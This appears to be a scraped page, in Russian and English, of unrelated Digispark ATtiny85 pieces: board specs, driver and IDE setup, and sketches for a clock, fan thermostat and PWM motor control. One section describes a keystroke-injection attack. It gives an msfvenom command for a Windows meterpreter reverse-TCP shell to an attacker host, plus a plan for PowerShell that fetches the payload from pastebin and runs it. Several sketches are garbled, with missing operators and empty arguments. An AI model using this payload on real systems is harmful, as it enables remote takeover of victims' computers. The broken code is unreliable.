Оглавление
- Плата Digispark с Arduino Attiny85
- Configuration
- Programming
- Precautions:
- Как прошить плату Digispark на базе микроконтроллера ATtiny 85. Обзор платы.
- Install the Digispark Windows 10 Drivers
- код для Digispark:
- Digispark Differences and Using Arduino/Processing with the Digispark:
- Arduino IDE Digispark Windows 10 Setup Tutorial Steps
- Разработка
- Using the Digispark with the Arduino IDE:
- Let’s mix Hardware and Software PWM!
- О возможностях среды разработки
- ШИМ регулятор с турбо режимом
- Introduction
- Как прошить Digispark ATtiny 85.
Плата Digispark с Arduino Attiny85
Совместимые платы могут как превосходить по характеристикам и размерам стандартные ардуино, так и быть меньше их, как было сказано выше. Отличным примером такой платы будет Digispark.
Характеристики платы довольно скромные, она поставляется с микроконтроллером, подготовленным для работы, arduino attiny85 – он представлен в восьминогом корпусе SOIC или более крупных размеров – DIP8. Характеристики весьма непритязательные:
- постоянной памяти – 8 Кб, для программного кода и 512 для исполняемого;
- так как доступно всего 8 выводов (ножек), вычтем две плюс и минус питания – получится 6 цифровых пинов, из которых 4 – это ADC и 2 PWM (ШИМ);
- доступно только аппаратное прерывание;
- контроллер работает на частотах от 1 до 20 МГц;
- в зависимости от конкретного чипа напряжения питания различны от 1.8 до 5.5 Вольт;
- в режиме энергосбережения потребляет мизерный ток в 0.1 мкА, при самом низком напряжении питания в 1.8 Вольт.
У оригинального digispark интересная конструкция, для его прошивки не нужно использовать micro USB кабель или USB-UART. Плата разведена таким образом, что, просто вставив ее в USB порт вашего компьютера, вы получите возможность программировать микроконтроллер.
Плата не только маленькая, но и очень простая – её сборка не займет много времени, и совершенно не составит труда для начинающих. Как собрать клон digispark своими руками мы расскажем немного позже.
Configuration
Now, if you use an American keyboard I believe you’re pretty much set and can skip down to the programming section. However I use a Swedish keyboard and thus I need to define where some keys are located. Otherwise when we program certain special characters it will type out the wrong key (example: ö instead of colon).
The file we’re going to edit is called DigiKeyboard.h. You can find it here: %APPDATA%\Roaming\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\DigiKeyboard.h
Open it and add the following definitions.
If these definitions are not enough and you find yourself needing some other character use this reference (page 54) and map it.
Programming
Now, due to size limitations we can’t just toss a big nice meterpreter shell into the device. I went from a simple (but not very elegant) approach and generated a reverse tcp meterpreter shell and tossed it on pastebin. The plan is to run a serie of powershell commands which will grab the payload from pastebin and then execute it. If you come up with a way on how to do this with the Digispark’s size limitations and keep it offline, please drop a comment. Also this example is for Microsoft Windows but the device should work on all operating systems.
Generate payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.129 LPORT=4444 -f psh-cmd –smallest
I removed everything up to powershell.exe and threw it on pastebin. Here’s my example.
So, to do this we want to hit meta+r to bring up Run and start powershell. Once that’s done we are going to invoke a few commands to download the payload and then execute it. On a side note this is the first time I’ve ever touched powershell 🙂
Powershell
Arduino Code
The code should be pretty self explanatory. Do notice that this is for a Swedish keyboard. I have also written an American version but do keep in mind that it is untested but feel free to try it and notice me if it doesn’t work.
Swedish Keyboard Code
Keep in mind that print does not end the line while println does.
American Keyboard Code
Untested code!
Precautions:
The Digispark, due to its small size and low cost is not as robust as a full blown Arduino.
When testing a new circuit we recommend that you test it with an external power supply first. Connecting a shorted circuit to the Digispark and connecting it to your computer could damage your computer and/or its USB ports. We take no responsibility for damage to your machine as a result of the use of a Digispark.
We strongly recommend connecting your Digispark through a USB hub which will often limit the damage caused by a short circuit to the usb hub. For the record, we’ve found many computers have usb fuses built in, and when we blew them on our 27“ Mac monitor, thankfully they reset and everything worked after a power down.
The Digispark does not have short circuit or reverse polarity protection. Connecting power to the Digispark power pins backwards will almost certainly destroy it.
The Digispark is small enough to present a choking hazard and small enough to be inserted into some sockets. We take no responsibility for misuse of the product. Please treat electricity and electronics with respect and common sense.
Как прошить плату Digispark на базе микроконтроллера ATtiny 85. Обзор платы.
Ниже представлены 4 самых часто встречаемых варианта плат, всех их объединяет наличие AVR
микроконтроллера ATtiny 85 с 8 битным процессором способным работать на частоте от 1 до 20 МГц.
Ее характеристики как и цена довольно скромные – всего 8 Кб памяти для хранения программ, 512 байт
оперативной памяти, 512 байт энергонезависимой памяти, 6 — цифровых входов/выходов, 4 — аналоговых входа,
3 — ШИМ выхода, 1 — I2C, 1 — SPI.
Зато у этой малышки имеется USB интерфейс, благодаря которому она может работать как джойстик,
клавиатура или мышь.
Благодаря наличию I2C и SPI к плате можно подключать различные датчики сервомоторы и даже LED дисплей.
Если вы решили сделать устройство где понадобится несколько кнопок, то всего лишь на один из аналоговых
входов можно смело вешать десяток кнопок с резистивной развязкой.
Так же на плате имеется стабилизатор напряжения для подключения от внешних источников питания (контакт
VIN) от 6 до 16 вольт (разработчики утверждают что стабилизатор выдерживает до 35 вольт). Плата отличается
особой экономностью, может потреблять всего 0,1 мкА.
Install the Digispark Windows 10 Drivers
Download the Digispark Digistump Drivers for Windows.
Unzip the Digistump.Drivers.zip file downloaded from the above link and extract the Digistump Drivers folder from it.
Open the unzipped Digistump Drivers folder, as shown in the following image.
Double-click either DPinst64.exe on a 64-bit Windows computer, or DPinst.exe on a 32-bit Windows computer to install the Digispark drivers.
When prompted to install the driver with the following dialog box, click the Install button.
If a dialog box pops up that displays Windows can’t verify the publisher of this driver software, click the Install this driver software anyway button.
After the driver installation has finished, click the Finish button in the Device Driver Installation dialog box.
код для Digispark:
Библиотеку для работы 7 сегментным индикатором можно взять тут или тут.
В проекте не предусмотрена настройка времени, нужно установить время в DS3231 с компьютера.
#include <TinyWireM.h> #include "TM1637.h" #define CLK 1 #define DIO 4 TM1637 tm1637(CLK,DIO); ///// часы .. byte decToBcd(byte val){ return ( (val10*16) + (val%10) ); } byte bcdToDec(byte val){ return ( (val16*10) + (val%16) ); } void setDateDs1307(byte second, // 0-59 byte minute, // 0-59 byte hour, // 1-23 byte dayOfWeek, // 1-7 byte dayOfMonth, // 1-28/29/30/31 byte month, // 1-12 byte year) // 0-99 { TinyWireM.beginTransmission(0x68); TinyWireM.send(); TinyWireM.send(decToBcd(second)); TinyWireM.send(decToBcd(minute)); TinyWireM.send(decToBcd(hour)); TinyWireM.send(decToBcd(dayOfWeek)); TinyWireM.send(decToBcd(dayOfMonth)); TinyWireM.send(decToBcd(month)); TinyWireM.send(decToBcd(year)); TinyWireM.endTransmission(); } void getDateDs1307(byte *second, byte *minute, byte *hour, byte *dayOfWeek, byte *dayOfMonth, byte *month, byte *year) { TinyWireM.beginTransmission(0x68); TinyWireM.send(); TinyWireM.endTransmission(); TinyWireM.requestFrom(0x68, 7); *second = bcdToDec(TinyWireM.receive() & 0x7f); *minute = bcdToDec(TinyWireM.receive()); *hour = bcdToDec(TinyWireM.receive() & 0x3f); *dayOfWeek = bcdToDec(TinyWireM.receive()); *dayOfMonth = bcdToDec(TinyWireM.receive()); *month = bcdToDec(TinyWireM.receive()); *year = bcdToDec(TinyWireM.receive()); } float get3231Temp(){ byte tMSB, tLSB; float temp3231; TinyWireM.beginTransmission(0x68); TinyWireM.send(0x11); TinyWireM.endTransmission(); TinyWireM.requestFrom(0x68, 2); if(TinyWireM.available()) { tMSB = TinyWireM.receive(); //2's complement int portion tLSB = TinyWireM.receive(); //fraction portion temp3231 = (tMSB & B01111111); //do 2's math on Tmsb temp3231 += ( (tLSB >> 6) * 0.25 ); //only care about bits 7 & 8 } else { //oh noes, no data! } return temp3231; } ///////////////// void setup() { TinyWireM.begin(); tm1637.init(); tm1637.set(1); // яркость, от 0 до 7 /* // установка часов byte second, minute, hour, dayOfWeek, dayOfMonth, month, year; second = 30; minute = 0; hour = 14; dayOfWeek = 3; // день недели dayOfMonth = 1; // день month = 4; year = 14; setDateDs1307(second, minute, hour, dayOfWeek, dayOfMonth, month, year); */ } void loop(){ byte second, minute, hour, dayOfWeek, dayOfMonth, month, year; getDateDs1307(&second, &minute, &hour, &dayOfWeek, &dayOfMonth, &month, &year); byte temp = get3231Temp(); int8_t TimeDisp4; // вывод температуры .. каждые 10 сек на 2 сек if (second >= && second <= 1 || second >= 10 && second <= 11 || second >= 20 && second <= 21 || second >= 30 && second <= 31 || second >= 40 && second <= 41 || second >= 50 && second <= 51) { tm1637.point(POINT_OFF); // выключаем точки TimeDisp = 19; // TimeDisp1 = temp 10; // заполняем массив TimeDisp2 = temp % 10; TimeDisp3 = 12; // C } /* // дата else if(second >= 25 && second <= 26 || second >= 45 && second <= 46) { tm1637.point(POINT_OFF); TimeDisp = dayOfMonth / 10; TimeDisp = dayOfMonth % 10; TimeDisp = month / 10; TimeDisp = month % 10; }*/ /// часы else { tm1637.point(POINT_ON); // включаем точки TimeDisp = hour 10; TimeDisp1 = hour % 10; TimeDisp2 = minute 10; TimeDisp3 = minute % 10; } tm1637.display(TimeDisp); // отправляем массив на экран }
Digispark Differences and Using Arduino/Processing with the Digispark:
The Digispark supports all features found in the IDE with the exception of the serial monitor and the burn bootloader functionality.
Many existing libraries will not work with the Digispark:
For I2C devices check out the TinyWireM library, which makes it super simple to port an I2C based device library over to use with the Digispark.
Pin outs:
- All pins can be used as Digital I/O
- Pin 0 → I2C SDA, PWM (LED on Model B)
- Pin 1 → PWM (LED on Model A)
- Pin 2 → I2C SCK, Analog In
- Pin 3 → Analog In (also used for USB+ when USB is in use)
- Pin 4 → PWM, Analog (also used for USB- when USB is in use)
- Pin 5 → Analog In
For a handy pin reference flip over the Digispark — pin capabilities are listed on the back
For some sample code for the basic i/o function see here: Digispark Basics
Arduino IDE Digispark Windows 10 Setup Tutorial Steps
The following steps show how to set up a Digispark board for programming with the Arduino IDE in Windows 10.
1. Install the Arduino IDE
Go to the Arduino website and download and install the Arduino IDE.
This can be done by either downloading and running the Windows Installer, or by downloading the Windows ZIP file. If the Windows ZIP file is downloaded, it must simply be unzipped, and the folder extracted to a convenient location, such as the Windows Desktop. Just open the extracted folder and double-click the Arduino executable file to start Arduino.
The image below shows the contents of the folder extracted from the downloaded zipped file, with the Arduino application selected. Simply double-click this file to start the Arduino IDE application.
Разработка
Собственно идея подобного устройства возникла спонтанно. Видеокарта в компьютере была обновлена
на более мощную и появилась проблема — тихая система охлаждения (низкооборотистые вентиляторы)
не обеспечивала достаточной эффективности. Был приобретён эффективный высокооборотистый вентилятор
с PWM. Но даже на минимальных оборотах он создавал значительный шум. При отсутствии нагрузки
данный вентилятор необходимо отключать полностью. Однако здесь возникает проблема. Если мерять температуру
только на выходе из системного блока, то не удастся настроить работу термостата в условиях разной
температуры в помещении. То есть весной, при отключенном отоплении скажем в помещении 20 градусов,
а на выходе 40, то есть воздух нагревается на 20 градусов. И например летом в жару в помещении 30 градусов,
а на выходе системного блока — 45 градусов. Получается, что во втором случае абсолютная температура
на выходе выше, но нагрузка по факту меньше, и вентиляторы должны работать слабее. Чтобы точно
определить требуемый режим работы вентиляторов, нужно мерять температуру на входе и на выходе,
и скорость работы вентиляторов будет определять разница значений. Под руку подвернулся Digispark,
на нём и решено было собирать умный термостат.
Была разработана следующая схема:
Датчики температуры lm19ciz, один ставится на пути воздуха, входящего в системный блок, а второй
на выходе. Управление осуществляется двумя вентиляторами. Первый — среднеоборотистый, по умолчанию
запитывается через резистор-шунт сопротивлением 30-50 Ом и работает на малых оборотах, создавая минимум шума.
При превышении заданной температуры, он включается на полную мощность. При дальнейшем росте температуры
включается самый мощный и шумный вентилятор. При желании можно также подключить третий вентилятор к выводу
p1. На оптроне PC817 реализован инвертор, управляющий p-канальным полевым транзистором.
Скетч заливается такой. Возможно, вам его придётся откалибровать под свои условия:
#include <core_adc.h> byte mode,countdown; void setup() { pinMode(1, OUTPUT); //LED on Model A digitalWrite(1, LOW); pinMode(0, OUTPUT); digitalWrite(0, LOW); pinMode(3, OUTPUT); digitalWrite(3, LOW); mode = 0; countdown = 5; } void loop() { switch( mode ){ case 0: digitalWrite(1, HIGH); delay(50); digitalWrite(1, LOW); delay(950); digitalWrite(0, LOW); digitalWrite(3, LOW); break; case 1: digitalWrite(1, HIGH); delay(100); digitalWrite(1, LOW); delay(100); digitalWrite(1, HIGH); delay(100); digitalWrite(1, LOW); delay(700); digitalWrite(0, HIGH); digitalWrite(3, LOW); break; case 2: digitalWrite(1, HIGH); delay(100); digitalWrite(1, LOW); delay(100); digitalWrite(1, HIGH); delay(100); digitalWrite(1, LOW); delay(100); digitalWrite(1, HIGH); delay(100); digitalWrite(1, LOW); delay(500); digitalWrite(0, HIGH); digitalWrite(3, HIGH); break; default: digitalWrite(1, HIGH); delay(500); digitalWrite(1, LOW); delay(500); digitalWrite(0, HIGH); digitalWrite(3, HIGH); } int t_in, t_out, diff; ADC_SetInputChannel((adc_ic_t) 1); ADC_StartConversion(); while( ADC_ConversionInProgress() ); t_in = ADC_GetDataRegister(); ADC_SetInputChannel((adc_ic_t) 2); ADC_StartConversion(); while( ADC_ConversionInProgress() ); t_out = ADC_GetDataRegister(); diff = (t_in - t_out); if( diff > 21 ){ mode = 2; }else if( diff > 15 ) { if( (mode == 2) && diff >= 18 ){ ; }else{ mode = 1; } }else{ if( (mode == 1) && diff >= 12 ){ ; }else{ mode = 0; } } if( countdown > 0 ){ countdown--; mode = 4; } }
Плату по традиции вырезал. Если прошивку планируется калибровать, то придётся продумать вариант
освобождения вывода 3 — иначе устройство не распознаётся компьютером, мне приходилось выпаивать
резистор на 330 Ом:
Для питания использовал переходник с разъёма питания SATA. Почти все компоненты куплены на AliExpress:
Датчик lm19ciz удлинён мышиным хвостиком, для изоляции обмотан высокотемпературным скотчем:
Плата Digispark припаяна к плате с транзисторами:
По утогу получился компактный контроллер:
В принципе данное устройство может использоваться в любом месте, где необходимо регулировать температуру.
И можно спокойно добавить ещё один канал управления вентилятором. Полевой транзистор выдерживает ток до 6 Ампер,
то есть вентилятор может быть очень мощным. Встроенный в Digispark ШИМ я использовать не стал ввиду низкой
частоты в 1 кГц, его применение для управления вентиляторами приведёт к неприятному гулу.
Using the Digispark with the Arduino IDE:
The Digispark works a bit differently than some Arduino compatible products. The Digispark programs with a different procedure.
From the Tools menu select Board→Digispark (Default — 16.5Mhz)
(The Tools→Programmer selection does not matter)
Write some code, open your code, or open a Digispark example.
You do not need to plug in your Digispark before invoking upload
Hit the upload button. The bottom status box will now ask you to plug in your Digispark — at this point you need to plug it in — or unplug and replug it.
You’ll see the upload progress and then it will immediately run your code on the Digispark.
If you unplug the Digispark and plug it back in or attach it to another power source there will be a delay of 5 seconds before the code you programmed will run. This 5 second delay is the Digispark Pro checking to see if you are trying to program it.
Let’s mix Hardware and Software PWM!
<TinySoftPwm> library can cohabit with Hardware PWM and with DigiUSB: see demo sketch below.
#include <TinySoftPwm.h> #include <DigiUSB.h> #define HW_PWM_PIN 0 /* Used to check HW PWM with analogWrite() */ #define SW_PWM_BUILT_IN_LED_PIN 1 /* Digispark Model A (Rev2) built-in LED pin number (Change it to 2 for Model B) */ #define TIME_TEST_PIN 5 /* Used to check with oscilloscope micros(), millis() are still OK */ void setup() { TinySoftPwm_begin(128, ); /* 128 x TinySoftPwm_process() calls before overlap (Frequency tuning), 0 = PWM init for all declared pins */ pinMode(TIME_TEST_PIN, OUTPUT); DigiUSB.begin(); } void loop() { static uint32_t PwmStartUs=micros(); static uint32_t PwmStartMs=millis(); static uint8_t Pwm=; static int8_t Dir=1; static boolean State=LOW; static uint32_t BlinkStartMs=millis(); /***********************************************************/ /* Call TinySoftPwm_process() with a period of 60 us */ /* The PWM frequency = 128 x 60 # 7.7 ms -> F # 130Hz */ /* 128 is the first argument passed to TinySoftPwm_begin() */ /***********************************************************/ if((micros() - PwmStartUs) >= 60) { /* We arrive here every 60 microseconds */ PwmStartUs=micros(); TinySoftPwm_process(); /* This function shall be called periodically (like here, based on micros(), or in a timer ISR) */ } /*************************************************************/ /* Increment/decrement PWM on LED Pin with a period of 10 ms */ /*************************************************************/ if((millis()-PwmStartMs) >= 10) { /* We arrived here every 10 milliseconds */ PwmStartMs=millis(); Pwm+=Dir; /* increment or decrement PWM depending of sign of Dir */ TinySoftPwm_analogWrite(SW_PWM_BUILT_IN_LED_PIN, Pwm); /* Software PWM: Update built-in LED for Digispark */ analogWrite(HW_PWM_PIN, Pwm); /* Copy Pwm duty cycle to Hardware PWM */ if(Pwm==255) Dir=-1; /* if PWM reaches the maximum: change direction */ if(Pwm==) Dir=+1; /* if PWM reaches the minimum: change direction */ } /* Blink half period = 5 ms */ if(millis()-BlinkStartMs>=5) { BlinkStartMs=millis(); digitalWrite(TIME_TEST_PIN, State); State=!State; } /* Check USB is still working */ if(DigiUSB.available()) /* Just hit "Enter" in the digiterm to check USB */ { DigiUSB.read(); /* just to clear the Rx buffer */ DigiUSB.println(F("DigiUSB is still alive!")); } DigiUSB.refresh(); }
О возможностях среды разработки
Arduino IDE имеет встроенный набор плат и микроконтроллеров, с которыми можно работать; в её основе лежит классический программатор AVR, кстати, благодаря ему и можно обращаться к устройству командами на Си.
Однако не всегда удобно и рационально использовать предложенные микроконтроллеры. Согласитесь, что глупо брать плату с парой десятков выводов для работы с 1 датчиком и 1 исполнительным механизмом, в роли которого может быть:
- сервопривод;
- транзистор;
- светодиод;
- соленоид и т. д.
Поэтому сторонние разработчики создали целый ряд совместимых плат. Работать с ними можно через Arduino IDE, используя простые команды встроенного языка. Для этого были переписаны загрузчики и библиотеки команд.
ШИМ регулятор с турбо режимом
Первым применением ШИМ регулятора стал моторчик мини пылесоса. Логику я заложил такую, при первом
нажатии мотор включается на 70%, во включенном состоянии при удержании кнопки более секунды включается
турбо режим, а именно 100%. На самом деле причина была в том, что на тот момент у меня не было подходящего
блока питания, а при 70% мощности мотора его как раз хватало. Сам алгоритм описан ранее, данный скетч
был написан написан первым и для отсчёта времени здесь используется millis(), потом перешёл на micros().
Из особенностей, здесь для первого нажатия используется отпускание кнопки. Это сделано, чтобы во включенном
состоянии при включении турбо режима не проходило выключение. По настройкам, за короткое нажатие здесь
используется интервал в 100 миллисекунд, для включения турборежима кнопку нужно удерживать секунду.
Скетч приведен ниже:
byte mode = 0, last_mode = 0; //0 - off, 1 - cruiser, 2 - full byte button_state = 0, last_button_state = 0; //0 - off, 1 - press, 2 - long_press int votes_press = 0, votes_long_press = 0; const int press_voting = 100, long_press_voting = 1000; unsigned long loop_time = 0, last_loop_time = 0, last_election = 0, last_long_election = 0; void setup() { pinMode(0, OUTPUT); analogWrite(0, 0); pinMode(1, OUTPUT);//led pinMode(2, OUTPUT);//button } void button_event(){ if( mode == 0 && button_state == 0 ){ mode = 1; }else{ if( mode == 1 && button_state == 0 ){ mode = 0; }else{ if( mode == 2 && button_state == 0 ){ mode = 1; }else{ if( mode == 1 && button_state == 2 ){ mode = 2; } } } } if( last_mode != mode ){ if( mode == 0 ){ analogWrite(0, 0); }else{ if( mode == 1 ){ analogWrite(0, 199); }else{ analogWrite(0, 254); } } } last_mode = mode; } void loop() { loop_time = millis(); if( loop_time != last_loop_time ){ int cycle_length = (loop_time - last_loop_time); if( digitalRead(2) == HIGH ){ votes_press += cycle_length; votes_long_press += cycle_length; } if( (loop_time - last_election) > press_voting ){ if( votes_press >= (press_voting >> 1) ){ button_state = 1; }else{ button_state = 0; } votes_press = 0; last_election = loop_time; } if( (loop_time - last_long_election) > long_press_voting ){ if( votes_long_press >= (long_press_voting >> 1) ){ button_state = 2; } votes_long_press = 0; last_long_election = loop_time; } if( button_state != last_button_state ){ digitalWrite(1, button_state); button_event(); } last_button_state = button_state; } last_loop_time = loop_time; }
Пример работы ниже. Короткое Нажатие кнопки срабатывает не всегда, так как её нужно удерживать не менее 0.1 сек.
В общем это не напрягает, так включается и выключается пылесос редко. Если есть вопросы по подключению кнопки,
смотрите следующий вариант регулятора.
https://vk.com/video_ext.php
Introduction
The Digispark -based on the ATtiny85 microcontroller- has 4 built-in hardware PWM.
Currently, only 3 of them are usable in the arduino environment:
- Pin0
- Pin1
- Pin4
If the user wants to keep USB capabilty (with <DigiUSB> library) in his/her sketch, only 2 hardware PWM pins are available since Pin4 is used for USB.
In this context, it’s impossible, for example, to create a sketch which controls a RGB strip LED through USB using -only- the available hardware PWM pins since 3 PWM pins are required (one per color).
There is a solution: .
Software PWM is a technic which emulates hardware PWM by software.
This means:
- Additional code in program memory
- A lower PWM frequency
Как прошить Digispark ATtiny 85.
Зальем в плату тестовый скетч, с помощью которого плата будет мигать встроенным светодиодом.
Для этого понадобятся:
1. Приложение Arduino IDE
2. Ссылка для менеджера плат
3. Добавить платы Digispark в приложение Arduino IDE
4. Установить драйверы для Digispark ATtiny 85.
Ознакомиться с приложение Arduino IDE http://kolotushkin.com
Запустите приложение Arduino IDE, зайдите во вкладку Файл/Настройки и в Дополнительные ссылки для
Менеджера плат: добавьте эту ссылку
И нажмите «ОК»
Затем откройте вкладку Инструменты /Выбор платы /Менеджер плат
В открывшемся списке выбираем пункт “Digistump AVR Boards” и нажмите “Установить”.
Чтобы быстрее найти, впишите в окно поиска слово “Digistump” или просто “digi”.
Осталось скачать и установить драйверы.
Откройте архив Digistump.Drivers.zip и извлеките из него папку с драйверами Digistump Drivers. Это можно сделать простым перетаскиванием папки Digistump Drivers из архива в удобную для вас папку.
Затем подключите плату Digispark к компьютеру. Откройте Пуск/Панель управления/Диспетчер устройств. Найдите в списке устройство помеченное желтым треугольником (у вас может отобразиться как «Неизвестное устройство»), кликните на него правой кнопкой мышки и в открывшемся окне кликните обновить драйверы.
Затем выберите пункт «Выполнить поиск драйверов на этом компьютере»
Укажите путь к той папке, которую вы извлекли из архива. Нажмите кнопку далее. После обновления нажмите закрыть.
Если теперь устройство определено как Digispark Bootoalder без желтой отметки, значит все готово!
Теперь откройте скетч Blink, который находится во вкладке “Файл/Примеры/Basics/Blink”.
Так как скетч расcчитан для платы Arduino на которой светодиод подключен к 13 пину, то необходимо
заменить значение “13” на “1” потому как на плате Digispark светодиод подключен к 1 пину!
Затем в менеджере плат выберите плату Digispark (Default — 16,5mhz)
Нажимаете “Загрузить”. После чего произойдет компиляция и снизу появится сообщение (will timeout in 60
seconds), и вот только тогда в течении 60 секунд нужно подключить плату к USB порту для загрузки скетча!
Скетч загрузится, и на плате будет мигать светодиод.
Видео версия обзора платы Digispark ATTiny85. «Как прошить Digispark ATTiny85. Обзор платы Digispark ATTiny85»